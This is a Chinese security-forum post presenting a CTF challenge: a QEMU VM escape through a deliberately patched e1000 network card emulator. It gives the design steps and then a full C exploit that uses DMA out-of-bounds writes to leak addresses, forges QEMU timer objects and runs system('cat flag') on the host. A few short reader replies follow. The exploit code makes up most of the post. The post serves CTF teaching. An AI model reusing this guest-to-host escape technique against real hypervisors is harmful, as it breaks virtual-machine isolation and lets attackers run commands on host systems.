首页
论坛
课程
招聘
[原创]题目:qemu逃逸
2019-11-29 00:35 5202

[原创]题目:qemu逃逸

2019-11-29 00:35
5202
设计思路:
1.去除默认网卡设备 e1000模拟上的一行长度校验,修改size从uint_16为uint_32。可造成对网卡对象0x100的越界写。
2.修改网卡对象的size并调用e1000_receive.通过pci_dma_write实现任意长度的地址泄露。
3.泄露出elf_base及网卡对象地址。
4.再次进行越界写,覆盖网卡对象的mit_timer位置为伪造timer.
5.在网卡对象data位置提前构造伪造的timer对象及timer_list对象,实现调用system(cat flag);
考察部分:
简单的qemu网卡交互方式,dma内存读写,timer对象伪造

exp_e1000.c文件内容:
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
unsigned char* mmio_mem;
char buf[0x10000],rxbuf[0x1000];

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
	
    // Assert page alignment

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
     
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present
     

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}
 
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

mmio_mem = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");


char *dmabuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x1000);
//get hva
uint64_t dmabuf_phys_addr=virt2phys(buf);
char * rxbuf_phys_addr=virt2phys(rxbuf);
char * dmabuf_phys_addr1=dmabuf_phys_addr;
char *dmabuf_phys_addrz = virt2phys(dmabuf);
//set receive_flag
mmio_write(0x20,0x4204140);
///set TX_ADDR
uint32_t phys_addrh=(uint32_t)(dmabuf_phys_addr>>32);
uint32_t phys_addrl=(uint32_t)(dmabuf_phys_addr&0xffffffff);
mmio_write(0x3804,phys_addrh);
mmio_write(0x3800,phys_addrl);
//set rx_addr
mmio_write(0x2800,rxbuf_phys_addr);
mmio_write(0x2810,0);

uint64_t *buf1=buf;
uint64_t *rxbuf1=rxbuf;

memset(rxbuf,'a',0x1000);
//set rx_desc
for(int i=0;i<33;i++){
rxbuf1[2*i+0]=dmabuf_phys_addrz;
rxbuf1[2*i+1]=0xfff0182420ffff;
}
//set tx_desc1.buffer_size
buf[8]=0xff;
buf[9]=0xff;
//set tx_desc1.flag
buf[10]=0x20;
buf[11]=0x24;
//set tx_desc1.mss,hdr_len
buf[0xd]=0x18;
buf[0xe]=0xf0;
buf[0xf]=0xff;
//set tx_desc2.buffer_size
buf[0x18]=0xf0;
buf[0x19]=0xff;
//set tx_desc2.flag
buf[0x1b]=0x24;
buf[0x1a]=0x10;
//set tx_desc2.buffer_addr
buf1[2]=dmabuf_phys_addr1+0x30;
//set tx_desc3.buffer_size
buf[0x28]=0xff;
buf[0x29]=0xff;
//set tx_desc3.flag
buf[0x2b]=0x25;
buf[0x2a]=0x10;
//set tx_desc3.buffer_addr

buf1[4]=rxbuf_phys_addr+0x100;
memset(buf+0x30,0x0,0x10000);
//set fake_size=0x103f0
rxbuf[0x110]=0xf0;
rxbuf[0x111]=0x03;
rxbuf[0x112]=0x01;
rxbuf[0x113]=0x00;
rxbuf[0x114]=0x05;
rxbuf[0x115]=0x06;
rxbuf[0x116]=0x07;
rxbuf[0x117]=0x08;

//start_xmit
mmio_write(0x3810,0);
mmio_write(0x3818,0x3);

//leak base address
uint64_t *tmp=dmabuf+4;
uint64_t base=tmp[29]-0x315920;
//leak object address
uint64_t s_base=tmp[18];
//leak system_address
uint64_t system=base+0x2b1920;
printf("%llx\n",base);
printf("%llx\n",s_base);
//set mit_timer
rxbuf1[44]=s_base+0x22bc0+0x100;

uint64_t flag_addr=s_base+0x22bc0+0x300;
memset(buf+0x30,'a',0x100);
memcpy(buf+0x330,"cat flag\x0",9);
//tmp=fake_timer_addr
tmp=buf+0x130;
//set fake_timer_list
tmp[1]=s_base+0x22bc0+0x200;
//tmp =fake_timer_list
tmp=buf+0x230;
//set init_flag
buf[0x260]=1;
//set fake_clock
tmp[0]=s_base+0x22bc0+0x280;
//set flag
tmp[8]=0;
//set fake notify_cb
tmp[10]=system;
//set fake notify_opaque
tmp[11]=flag_addr;
//set txdesc1.hdr_len
buf[0xd]=0xf8;
//set receive_flag
mmio_write(0x20,0x4201140);
//start_xmit
mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
    return 0;
}


[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2019-12-21 12:00 被kanxue编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 3365
活跃值: 活跃值 (104)
能力值: ( LV12,RANK:694 )
在线值:
发帖
回帖
粉丝
xym 活跃值 2 2019-12-22 23:08
2
0
请教一下怎么样 去除默认网卡设备 e1000模拟上的一行长度校验?
是否有什么工具?
雪    币: 3652
活跃值: 活跃值 (266)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2019-12-23 10:07
3
0
xym 请教一下怎么样 去除默认网卡设备 e1000模拟上的一行长度校验? 是否有什么工具?
patch掉那一行,重新编译的
雪    币: 3365
活跃值: 活跃值 (104)
能力值: ( LV12,RANK:694 )
在线值:
发帖
回帖
粉丝
xym 活跃值 2 2019-12-28 17:33
4
0
修改网卡对象的size是怎么实现的?
直接编译exp.c运行不能触发漏洞,是否还需要其他操作?
雪    币: 3449
活跃值: 活跃值 (165)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 活跃值 2 2019-12-28 18:52
5
0
游客
登录 | 注册 方可回帖
返回